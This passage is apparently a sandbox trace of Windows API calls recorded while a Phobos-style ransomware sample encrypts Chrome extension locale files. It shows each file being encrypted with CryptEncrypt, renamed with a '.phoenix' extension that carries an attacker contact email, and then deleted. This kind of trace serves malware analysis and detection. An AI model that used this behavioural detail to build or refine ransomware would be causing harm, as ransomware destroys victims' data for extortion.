	[0258.151] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.151] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0258.151] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.151] ReadFile (in: hFile=0x244, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xf9, lpOverlapped=0x0) returned 1
	[0258.152] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0258.152] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0258.153] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0258.153] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.153] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0258.153] CryptDestroyKey (hKey=0x151540) returned 1
	[0258.153] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0258.153] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0258.153] CloseHandle (hObject=0x244) returned 1
	[0258.153] CloseHandle (hObject=0x250) returned 1
	[0258.153] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json")) returned 1
	[0258.154] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0258.154] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.154] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=259) returned 1
	[0258.154] CloseHandle (hObject=0x250) returned 1
	[0258.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json")) returned 0x20
	[0258.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.155] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.155] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.155] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0258.155] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0258.155] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0258.155] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.155] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x103, lpOverlapped=0x0) returned 1
	[0258.156] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0258.156] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0258.157] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0258.157] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0258.157] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0258.157] CryptDestroyKey (hKey=0x151380) returned 1
	[0258.157] WriteFile (in: hFile=0x244, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0258.659] CryptDestroyKey (hKey=0x151140) returned 1
	[0258.659] CloseHandle (hObject=0x250) returned 1
	[0258.659] CloseHandle (hObject=0x244) returned 1
	[0258.690] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json")) returned 1
	[0258.691] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0258.691] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.068] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=251) returned 1
	[0259.069] CloseHandle (hObject=0x2c0) returned 1
	[0259.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json")) returned 0x20
	[0259.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.070] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.070] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.279] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0259.279] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.279] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xfb, lpOverlapped=0x0) returned 1
	[0259.280] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0259.280] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0259.280] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151740) returned 1
	[0259.280] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.280] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.280] CryptDestroyKey (hKey=0x151740) returned 1
	[0259.280] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.281] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0259.281] CloseHandle (hObject=0x2c0) returned 1
	[0259.281] CloseHandle (hObject=0x258) returned 1
	[0259.281] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json")) returned 1
	[0259.282] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.282] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.282] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=260) returned 1
	[0259.283] CloseHandle (hObject=0x258) returned 1
	[0259.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json")) returned 0x20
	[0259.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.283] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.283] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.283] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.283] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.284] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151480) returned 1
	[0259.284] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.284] ReadFile (in: hFile=0x258, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x104, lpOverlapped=0x0) returned 1
	[0259.285] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0259.285] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0259.285] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0259.285] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.285] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.285] CryptDestroyKey (hKey=0x151300) returned 1
	[0259.286] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.312] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.312] CloseHandle (hObject=0x258) returned 1
	[0259.312] CloseHandle (hObject=0x2c0) returned 1
	[0259.312] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json")) returned 1
	[0259.313] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.313] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.314] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=252) returned 1
	[0259.314] CloseHandle (hObject=0x2c0) returned 1
	[0259.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json")) returned 0x20
	[0259.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.314] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.314] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.314] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.314] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.315] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151480) returned 1
	[0259.315] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.315] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xfc, lpOverlapped=0x0) returned 1
	[0259.316] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0259.316] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0259.317] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0259.317] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.317] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.317] CryptDestroyKey (hKey=0x151640) returned 1
	[0259.317] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.317] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.317] CloseHandle (hObject=0x2c0) returned 1
	[0259.317] CloseHandle (hObject=0x258) returned 1
	[0259.317] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json")) returned 1
	[0259.318] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
